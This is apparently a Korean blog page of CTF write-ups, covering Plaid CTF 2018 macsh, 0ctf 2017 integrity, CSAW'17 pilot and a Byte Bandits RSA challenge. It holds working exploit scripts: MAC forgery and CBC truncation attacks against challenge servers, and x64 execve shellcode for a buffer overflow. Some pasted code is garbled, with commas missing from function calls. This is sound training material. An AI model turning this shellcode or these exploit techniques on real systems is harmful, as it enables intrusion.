대회가 끝나기 전에 알아차려서 flag 인증 할 수 있었으면 좋았겠지만, 안타깝게도 끝나고나서야 알아차렸다...



'Write-up > CTF _ Write UP' 카테고리의 다른 글

[HITCON-Training] lab12 : secretgarden  (0) 2019.07.13
RCTF 2018 Writeup (cpushop / babyre / Misc+)  (0) 2018.05.21
[WriteUP] Byte Bandits CTF 2018  (0) 2018.04.10
[WriteUp] UIUCTF 2018 Writeup  (0) 2018.04.10

[Plaid CTF 2018] macsh - 125

2018. 5. 7. 10:05


 

fmac.py

macsh.py



PCTF의 125점짜리 Crypto문제이다. nc macsh.chal.pwning.xxx 64791 로 접속하면

사용자로부터 무언가를 입력받는다. 일단 아무거나 입력해보면 그냥 죽어버린다.



주어진 소스를 통해 서버에서 무슨 일을 하고 있는지 알 수 있다.

fmac.py는 keygen과 AES암호화로 암호하시키는 코드이고 macsh.py가 서버에서 정말로 하는 일이다. 코드를 보자


  • macsh.py

1
2
3
4
5
6
7
8
9
10
11
while True:
    print("|$|> ", end='', flush=True)
    mac, cmdline = input().split('<|>')
    cmd, *args = cmdline.split()
    if cmd not in commands:
        print("macsh: {}: command not found".format(cmd))
        continue
    if cmd == "tag" or bytes.hex(fmac(k0, k1, encode(cmdline))) == mac:
        eval(cmd)(*args)
    else:
        print("macsh: bad tag")
cs


사용자로부터 입력을 받아 <|>를 기준으로 maccmdline으로 나누어준다.

그 후 cmdline을 또 공백을 기준으로 나누어 cmdargs로 나눈다.

    mac, cmdline = input().split('<|>')
    cmd, *args = cmdline.split()


그 후 cmd가 commands에 포함되어 있는지 검사한다. commands에는 아래 명령들이 포함되어있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
commands = [
    "echo",
    "tag"
]
 
privileged = {
    "pwd",
    "cd",
    "ls",
    "cat"
}
 
commands.extend(privileged)
cs


즉 우리는 cmd값으로 echo, tag, pwd, cd, ls, cat 을 사용할 수 있다.

여기 cmd를 eval을 통해 argv값을 너헝 실행해주는데, 조건이 있다.


    if cmd == "tag" or bytes.hex(fmac(k0, k1, encode(cmdline))) == mac:
        eval(cmd)(*args)


1. cmd == "tag"

2. crypt(cmdline) == mac


여기서 cmd가 tag이면 항상 tag를 실행하므로 두번째조건인 mac과 cmdline를 암호화한 것이 같으면 cmd를 원하는대로 설정해서 사용할 수 있을 것이다.


그럼 tag가 무엇을 해주느냐?


1
2
3
4
5
6
def tag(cmd, *args):
    if cmd not in privileged:
        cmdline = encode(" ".join([cmd] + list(args)))
        print(bytes.hex(fmac(k0, k1, cmdline)))
    else:
        print("macsh: tag: Permission denied")
cs


cmd가 echo이거나 tag일때만 실행되어 tag뒷부분을 cmdline으로 해서 fmac으로 암호화해서 돌려준다.

그러므로 아래와 같이 하면 echo가 실행되는 것을 알 수 있다.



tag echo AAAA

-> bytes.hex(fmac(k0, k1, "echo AAAA"))


이제 fmac의 암호화부분을 살펴보자.

1
2
3
4
5
6
7
def f(k0, i):
    return to_block(rot(to_int(k0), i % (8 * N)))
 
def fmac(k0, k1, m):
    C = AES.new(k1, AES.MODE_ECB)
    bs = [C.encrypt(xor(b, f(k0, i))) for i,b in enumerate(to_blocks(m))]
    return reduce(xor, bs, b"\x00" * N)
cs


암호화는 m을 블록으로 나누어 각 블록을 순서대로 암호화한다. 

이 때 key를 블록의 index만큼 rotation해서 암호화를 진행하고 암호화된 m의 블록들을 모두 xor하여 그 값을 반환한다. 


key가 계속 로테이션하면서 변하지만 rot(to_int(k0), i % (8 * N))이므로 (N=16)

1번째 블록과 129번째 블록은 키가 같게 된다. 이걸 이용해서 이제 문제를 풀 수가 있다.


  1. Enc(BLOCK_A MyCommand | len(BLOCK_A | MyCommand) | padding)

  2. Enc(tagCommand | len(tagCommand) | padding)

  3. Enc(BLOCK_A | tagCommand | len(BLOCK_A | tagCommand) | padding)

참고로 블록들은 뒤에 입력에 들어간 cmdline의 길이를 붙이고 padding은 PKCS#7으로 된다.

이제 저 1,2,3을 tag명령을 통해 구하여 XOR하게 되면, 먼저 1^3이 되서 len부터 뒷부분이 모두 없어지고

그 후 2와 xor되서 tagCommand도 없어져 Enc(BLOCK_A MyCommand | len(MyCommand) | padding) 를 얻게 된다.


아래를 공격코드이다.


  • xor3.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import binascii
import string
import sys
import os
 
def encode(cmdline):
    return cmdline.encode('utf-8')
 
def xor(x, y):
    return bytes([xe ^ ye for xe,ye in zip(x,y)])
    
def xor3(x,y,z):
    x=binascii.unhexlify(encode(x))
    y=binascii.unhexlify(encode(y))
    z=binascii.unhexlify(encode(z))
    res = xor(bytes(x),bytes(y))
    res = xor(bytes(res),bytes(z))
    return res
 
x=sys.argv[1]
y=sys.argv[2]
z=sys.argv[3]
 
res = xor3(x,y,z)
print(str(binascii.hexlify(res))[2:-1])
 
 
cs

  • hand_attack.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python
from pwn import *
import binascii
import string
import sys
import os
from subprocess import Popen, PIPE
 
conn = remote('macsh.chal.pwning.xxx'64791)
 
BLOCK_A = "tag "+"A"*124
BLOCK_A = BLOCK_A*128
 
pwd ="/home/macsh"
flag = "flag.txt"
 
BLOCK_COMMAND=["pwd","ls /home/macsh""cat flag.txt"]
 
for BLOCK_B in BLOCK_COMMAND:
    PAD = "A"*len(BLOCK_B)
    ##########  step.1
    print(conn.recvuntil('|$|>'))
    l="asdf<|>tag "+BLOCK_A+BLOCK_B
    conn.sendline(l)
 
    x1 = conn.recvline().strip()
    #print(x1)
    ##########  step.2
    print(conn.recvuntil('|$|>'))
    l="asdf<|>tag "+PAD
    conn.sendline(l)
 
    x2 = conn.recvline().strip()
    #print(x2)
    ##########  step.3
    print(conn.recvuntil('|$|>'))
    l="asdf<|>tag "+BLOCK_A+PAD
    conn.sendline(l)
 
    x3=conn.recvline().strip()
    command = "python3 xor.py "+x1+" "+x2+" "+x3
    popen = Popen(command, shell=True, stdout=PIPE)
    output, error = popen.communicate()
 
    output=output.strip()
    l=output+"<|>"+BLOCK_B
    print(l)
    conn.sendline(l)
    print(conn.recvline())
 
conn.interactive()
cs



PCTF{fmac_is_busted_use_PMAC_instead}


대회가 다 끝난 시점에 스샷을 찍었다. 풀었을 때 대략 40명가량이었는데 대회가 끝났을 쯤엔 100명이 넘어가 있었다...








'Write-up > Crypto' 카테고리의 다른 글

[UIUCTF 2018] Hastad  (0) 2018.06.02
[Byte Bandits CTF 2018]R u Ronald Rivest?  (0) 2018.06.02
[0ctf 2017] integrity - 75p  (0) 2018.05.02
[Byte Bandits CTF 2018] R u Ronald Rivest? 70p  (0) 2018.04.27
[UIUCTF 2018] xoracle (250)  (0) 2018.04.18

[0ctf 2017] integrity - 75p

2018. 5. 2. 00:06

0ctf quals 2017 : integrity

Category: Crypto Points: 75 Solves: Description:

Just a simple scheme.

nc 202.120.7.217 8221

integrity_f2ed28d6534491b42c922e7d21f59495.zip


문제가 괜찮아서 writeup을 써본다.


문제코드는 아래와 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/python -u
 
from Crypto.Cipher import AES
from hashlib import md5
from Crypto import Random
from signal import alarm
 
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) 
unpad = lambda s : s[0:-ord(s[-1])]
 
 
class Scheme:
    def __init__(self,key):
        self.key = key
 
    def encrypt(self,raw):
        raw = pad(raw)
        raw = md5(raw).digest() + raw
 
        iv = Random.new().read(BS)
        cipher = AES.new(self.key,AES.MODE_CBC,iv)
 
        return ( iv + cipher.encrypt(raw) ).encode("hex")
 
    def decrypt(self,enc):
        enc = enc.decode("hex")
 
        iv = enc[:BS]
        enc = enc[BS:]
 
        cipher = AES.new(self.key,AES.MODE_CBC,iv)
        blob = cipher.decrypt(enc)
 
        checksum = blob[:BS]
        data = blob[BS:]
 
        if md5(data).digest() == checksum:
            return unpad(data)
        else:
            return
 
key = Random.new().read(BS)
scheme = Scheme(key)
 
flag = open("flag",'r').readline()
alarm(30)
 
print "Welcome to 0CTF encryption service!"
while True:
    print "Please [r]egister or [l]ogin"
    cmd = raw_input()
 
    if not cmd:
        break
 
    if cmd[0]=='r' :
        name = raw_input().strip()
 
        if(len(name) > 32):
            print "username too long!"
            break
        if pad(name) == pad("admin"):
            print "You cannot use this name!"
            break
        else:
            print "Here is your secret:"
            print scheme.encrypt(name)
 
 
    elif cmd[0]=='l':
        data = raw_input().strip()
        name = scheme.decrypt(data)
 
        if name == "admin":
            print "Welcome admin!"
            print flag
        else:
            print "Welcome %s!" % name
    else:
        print "Unknown cmd!"
        break
 
 
 
cs


AES로 암호화하는데 CBC모드를 이용한다. CBC모드란?


CBC모드는 랜덤하게 생성된 IV으로 첫 블록을 암호화시킨 암호문을 다음 블록의 암호화에 사용한다. 


CBC encryption.svg

CBC decryption.svg

If the first block has index 1, the mathematical formula for CBC encryption is

while the mathematical formula for CBC decryption is



그런데 여기 문제에서는 secret값의 IV || encrypted형식이고 encrypted는 md5(pad(username)) || pad(username)이다.


CBC모드는 IV로 블록을 암호화한 암호문을 다음 블록을 암호화하는데 쓰이므로, IV를 떼어낸 encrypted만 보내면 encrypted의 첫 블록을 IV로 사용하여 나머지 블록들은 모두 복호화가 될 것 이다.


우리가 이 값 md5(pad("admin")).digest() || admin을 username으로 보내면 


IV || enc(real md5) || enc(admin md5) || enc(admin) 이렇게 값이 돌아올 것이다. 


+---------+------------------------+--------------------+---------------+ | IV | Enc(md5(admin)||admin) | Enc(md5(admin)) | Enc(admin) | +---------+------------------------+--------------------+---------------+


md5가 128bit이고 암호화 블록사이즈를 128bit로 해서 이런 암호문을 얻을 수 있는 것이다.


여기서 우리가 필요한 값은 admin을 복호화시키는 것 뿐이므로 IV와 첫암호화블록 C1을 빼버린 값을 보낸다면


Enc(md5(admin))값이 IV로 들어가서 Enc(admin)을 복호화하여 admin만 남게 될 것이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from hashlib import md5
 
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) 
unpad = lambda s : s[0:-ord(s[-1])]
 
 
name = md5(pad("admin")).digest() + "admin"
 
= remote("202.120.7.217"8221)
 
r.sendlineafter("or [l]ogin\n""r")
r.sendline(name)
r.recvuntil("secret:\n")
secret = r.recvline().strip()
 
r.sendlineafter("or [l]ogin\n""l")
r.sendline(secret[32:])
r.interactive()
cs



'Write-up > Crypto' 카테고리의 다른 글

[Byte Bandits CTF 2018]R u Ronald Rivest?  (0) 2018.06.02
[Plaid CTF 2018] macsh - 125  (0) 2018.05.07
[Byte Bandits CTF 2018] R u Ronald Rivest? 70p  (0) 2018.04.27
[UIUCTF 2018] xoracle (250)  (0) 2018.04.18
[TyokoWesterns] My Simple Cipher[75]  (0) 2017.09.02

[CSAW '17 CTF] pilot

2018. 4. 30. 22:54


ctf에 직접 참여해서 푼건 아니고... 나중에 pilot이란 파일만 가지고 문제를 풀었다.


처음해보는 pwn문제라 좀 해멨다. 64bit환경에서 x86(32bit) Shellcode를 가지고 했으니...


또 이번에 문제풀면서 처음으로 파이썬 라이브러리 pwntools랑 gdb-peda를 사용해보았다.

덕분에 여러가지로 공부가 많이 된듯하다. 나중에 실제로 ctf에서 pwn문제 풀면 매우 유용하게 사용할듯.


문제로 들어가자



저렇게 나온다.

Location을 주는데, 저게 중요할것 같다.


gdb-peda로 실행해서 "A"*32 + "B"*8 + "C"*4를 입력하면 아래와 같이 나온다.



RBP가 "BBBB"로 덮이고, RIP는 0x7f0a43434343으로  "CCCC\n"이 덮혀진것을 볼 수 있다.


buf는 "A"*32로 채워져있을 것이므로, 이곳에 shellcode를 넣고 이 곳의 주소로 jump하면 될 것 같다.


참고로 NX는 걸려있지않다.



사용 Shellcode x64 execve 

"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
= process("./pilot")
print(p.recvuntil("Location:"))
 
buf = p.recvline(False).strip()
 
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
 
print("ShellcodeLen : " + str(len(shellcode)))
 
payload = shellcode + "A"*(40-len(shellcode))+p64(int(buf,16))#p32(buf2)+p32(buf1)
 
p.sendline(payload)
sleep(1)
p.interactive()
 
cs




굿


출처는 내 블로그...


여기서 따로 떼어내가져와보았다.


ByteBanditsCTF 2018 전체 writeup



[Crypto]R u Ronald Rivest? 70p



문제이름은 Are you Ronald Rivest?이다. Ronald Rivest가 누구지? 하고 검색해보았다.


RSA 암호 체계를 발명하신 분이다. 왠지 문제와 엄청 관계있을것같다.


이제 문제에서 주어진 파일을 보자.


text.txt 파일과 lol_pub.pem 파일이 주어진다. 

이 pem포맷파일은 문제이름에 나오는 RSA창시자 이름을 볼 때 RSA 공개키파일로 추측된다.

각각을 살펴보면 아래와 같다.


------------------------------------------------------------------------------------------------------------------------

PEM(Privacy-enhanced Electronic Mail)


여기서 준 lol_pub.pem 파일은 이름에서 유추해볼때 public_key파일이라는 것과 파일을 열어봤을때 첫줄과 마지막에 보이는 PUBLIC KEY로 이 파일이 공개키파일임을 알 수 있다.

RSA에서 쓰이는 공개키는 숫자인데, base64로 인코딩된 듯한 문자와 위아래로 텍스트 문자열(-----public ----)이 들어가 있다.

이러한 형태를 띄고 있는 파일은 PEM(Privacy Enhanced Mail) 포맷 파일로, 공개키를 암호화한 파일이다.


openssl을 이용해 개인키 및 공개키를 생성하면 위와 같은 파일을 자주 볼 수 있다.



비교해보기 위해 임의로 mykey.pem을 생성해보았다.


같은 형식인 걸 알 수 있었다.


그럼 openssl로 분석해볼까.. -noout -text 옵션으로 PEM 인코딩된 인증서를 파싱해서 정보를 출력해보겟다.



n = 225bit이고 e=65537인것을 알 수 있다. 

n을 좀 더 숫자로 표현해서 보고 싶다면 방법이 있다. ( https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key )


PUBKEY=`grep -v -- ----- lol_pub.pem | tr -d '\n'`  
echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i  


환경변수로 문자열을 파싱하고 base64 디코딩해 openssl을 통해 정보를 읽는다.



n이랑 e가 BIT STRING, offset 17에 들어있ㄷ. -strparse을 추가해서 파싱해주자.



n=0x013269DC2680BC64277889DC6A101ED6F13DD07498F13A4818474C2069

(32269109513264378873151120068074444086989044741418671122338798116969)

e=0x10001 (65537)


n을 찾았다!!


이제 소인수 분해를 하면 되겠다. 이 때 좋은 사이트가 있다는 것을 알았다.


FatorDB : http://factordb.com/    


이 사이트에 넣으면 만약 DB에 이미 소인수분해한 값이 있다면 그대로 알려준다. 매우 좋은 사이트다...!!



오옹... 감사합니다...


p,q = 1796360473659570891671495336244551, 17963604736595708916714953362445519


이제 p,q를 구했으니 개인키 d를 구하면 되겠다. 이 때 좋은 툴 rsatool 이 있다. 이걸 활용하자.

아 그놈의 gmpy... 다른 서버로 가야겠다.



n =

13269dc2680bc64277889dc6a101ed6f13dd07498f13a4818474c2069


e = 65537 (0x10001)


d = 24628356329157132106384879910356205355957782278135706168828095323773

(0xe9dc37c53f2e09f6c21dde172931a8e35ec454f10fb39c15a38f5e7d)


p = 1796360473659570891671495336244551 (0x589141bcf7bfd38312fcb363b547)


q = 17963604736595708916714953362445519 (0x375ac9161ad7e431ebddf01e514cf)


구할건 다 구했다.


text.txt에 있는 값들이 base64인코딩되있으니 디코딩해주자.


echo "AGRPJtAkcHxM5h9RiMMECc9KdKeXRuVvP5XlgsI=" | base64 -d | openssl rsautl -keyform PEM -inkey private.pem -decrypt

echo "AAqhlINL/9sBf80jq9qgdHO+yXR1O0zyljGDzCo=" | base64 -d | openssl rsautl -keyform PEM -inkey private.pem -decrypt

echo "AIV/vkErNAGt0j37090nxhiwwQyjtXcDugLTKDE=" | base64 -d | openssl rsautl -keyform PEM -inkey private.pem -decrypt


뭐가 출력되는지 보자



좀 엉망이지만... 순서를 조금 정리해보자.


flag{u  

_n00b}

n0_10ng3r


flag{un0_10ng3r_n00b} 인것 같다... 굿!

'Write-up > Crypto' 카테고리의 다른 글

[Plaid CTF 2018] macsh - 125  (0) 2018.05.07
[0ctf 2017] integrity - 75p  (0) 2018.05.02
[UIUCTF 2018] xoracle (250)  (0) 2018.04.18
[TyokoWesterns] My Simple Cipher[75]  (0) 2017.09.02
[anstromCTF 2017] Knock Knock  (0) 2017.04.25

+ Recent posts